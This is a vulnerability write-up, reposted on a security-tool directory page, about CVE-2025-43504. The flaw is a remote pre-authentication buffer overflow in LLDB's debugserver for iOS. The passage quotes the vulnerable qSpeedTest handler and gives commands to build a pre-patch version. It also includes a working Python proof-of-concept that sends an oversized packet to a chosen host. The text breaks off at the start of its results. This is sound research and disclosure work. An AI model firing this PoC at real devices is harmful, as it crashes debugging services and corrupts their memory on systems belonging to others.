Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-43504 — Technical deep-dive into CVE-2025-43504, a remote pre-authentication global buffer overflow in LLDB's debugserver for iOS, with PoC code and exploitation analysis. | Kitploit
Tools/GitHubGitHub/calysteon/cve-2025-43504
iOS SecurityVulnerability AnalysisExploitationDebuggersPapers & ResearchLearning & EducationBinary Exploitation
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

Technical deep-dive into CVE-2025-43504, a remote pre-authentication global buffer overflow in LLDB's debugserver for iOS, with PoC code and exploitation analysis.

View Repository
1710 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

When Good /bins Go Bad: A Remote Pre-Authentication Overflow in LLDB's debugserver


Introduction

Growing up, I always enjoyed digging through the DVD bins at my local Walmart. I noticed a lot of the same movies were left on top, but if you actually dug in, you'd find more interesting and niche titles.

When a program overflows a buffer, you're essentially reaching into its bargain bin. Depending on how far you reach, the DVDs - or in this case, the overwritten structures in memory - can change.

Today's bargain /bin is CVE-2025-43504: A remote pre-authentication global buffer overflow I found in LLDB's debugserver.

How Did We Get Here?

During application development, developers often find the need to debug their app on a physical iOS device. To accomplish this, Xcode mounts a Developer Disk Image on the target iPhone and then pairs with it.

Once paired, the macOS host is able to communicate with the iOS client using the debugserver installed onto the client. Now any client that can establish a GDB-remote session to the device's debugserver can reach the qSpeedTest handler and overflow the vulnerable buffer.

Let's take a look at the Xcode 26.1 security release page to better understand how Apple categorized CVE-2025-43504:

CVE-2025-43504

Due to modern-day software mitigations, Apple considers buffer overflows to primarily be a denial-of-service issue rather than a corruption primitive. As we will explore today, this is generally true as an attacker will need to overcome several hurdles and likely pair this issue with another bug to achieve arbitrary code execution.

One Small Step for Pwn, One Giant Leap for Pwnkind

If you would like to experiment with a pre-patched version of debugserver, use the following commit or any commits prior to ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

You're Going to Need a Bigger Debugger

Before the patch in RNBRemote.cpp, any remote user who could connect to an iOS device's debugserver could send a pre-authentication qSpeedTest packet to RNBRemote::HandlePacket_qSpeedTest and corrupt adjacent structures in the global data segment of debugserver.

However, there's an important caveat: we only control the length of the corruption. The contents of the payload are fixed to a stream of 'a' characters. While students may enjoy the consistently high marks, the practical utility of this overflow is greatly limited by the fact that we can't control the actual bytes being written-only how far the flood of 'a's goes.

Now, let's take a look under the hood of RNBRemote::HandlePacket_qSpeedTest to see exactly what is going on:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

The role of RNBRemote::HandlePacket_qSpeedTest() is to process incoming qSpeedTest:response_size:<hex>; packets without requiring authentication from a remote user who can communicate to the iOS device's debugserver binary.

However, once a remote user is able to send a qSpeedTest:response_size:<hex>; packet to debugserver, no authentication checks occur within debugserver prior to processing the user-supplied response_size. Therefore, any user who can communicate with an iOS device mounted with a Developer Disk Image is able to overflow debugserver via a qSpeedTest:response_size:<hex>; packet.

Just Keep Swimmin' Swimmin' Swimmin'

Now that we've reached the vulnerable function RNBRemote::HandlePacket_qSpeedTest(), let's examine exactly how the overflow occurs. First, the user-supplied size <hex> in the qSpeedTest:response_size:<hex>; packet is extracted and stored in the variable response_size:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

If parsing succeeds and the next character is a semicolon, a function‑local static 4 MiB + 16‑byte buffer g_data is initialized and seeded with the ASCII header "data:":

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Oops, I Did It Again

Putting it all together, memset then fills the static 4 MiB + 16‑byte buffer g_data with 'a' using the user-controlled response_size value as the number of 'a's to use.

  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Therefore, whenever a remote LLDB client sends a qSpeedTest:response_size:<hex>; packet with a response_size greater than the 4 MiB + 16‑byte buffer, a buffer overflow occurs and corrupts adjacent global variables stored in the global data segment (.bss) of debugserver.

When Good Bins Go Bad

Now that we understand the architecture behind the overflow, let's now dive into the actual mechanics of the vulnerability. To start things off, let's use the following Python program to explore the corruption primitives gained through the g_data overflow:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()

    print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: No Crash

Download Tool